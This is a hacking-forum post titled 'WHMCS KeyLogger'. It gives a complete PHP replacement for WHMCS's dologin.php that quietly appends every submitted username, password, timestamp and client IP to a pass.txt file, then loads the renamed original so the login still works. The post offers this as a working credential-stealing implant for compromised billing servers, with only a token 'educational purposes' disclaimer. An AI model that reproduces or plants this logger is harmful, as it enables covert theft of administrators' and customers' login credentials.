Hello There, Guest! Login Register
Logo
Dismiss this notice
MaDLeeTs is not responsible for any attacks that are carried out on networks, websites or servers.
MaDLeeTs staff members cannot be held responsible.
All information on this forum is for educational purposes only.


WHMCS KeyLogger

  • 0 Vote(s) - 0 Average


04-29-2017, 03:06 AM #1
Fahad Yousaf Mahar Offline Junior Member **
Registered
Posts:6 Threads:3 Joined:Jun 2014 Reputation: 0
Mood: Yeehaw
Assalam u Alaikum!
Today I bring to you WHMCS KeyLogger.
Base concept is that as WHMCS is ionCubed so we cannot add any code into Login file as it won't work due to ioncube. Hence we do a little work-around.

So, we rename original "dologin.php" (which is ionCubed) to "doLogin.php" and include the renamed file into "dologin.php" (which is Newly Made).Hence on call to dologin.php, we can put $_POST contents into a .txt file... & log WHMCS login process without any fault in Admin's Login ... 

The code for "dologin.php" (Our Pass Logger) is :

Code:
<?php
$file = "pass.txt";
$current = $_POST['password'];
$user = $_POST['username'];
$date = (new DateTime())->setTimeZone(new DateTimeZone('Asia/Karachi'))->format('Y-m-d H:i:s');
file_put_contents($file, $user." |-=-| ".$current.' | '. $date .' IP= ' . $_SERVER['REMOTE_ADDR'] . chr(0x0D).chr(0x0A), FILE_APPEND);
include_once "doLogin.php"; // Original file renamed to doLogin.php
?>

لا الہ الا اللہ محمد رسول اللہ






Forum Jump:


Users browsing this thread:1 Guest(s)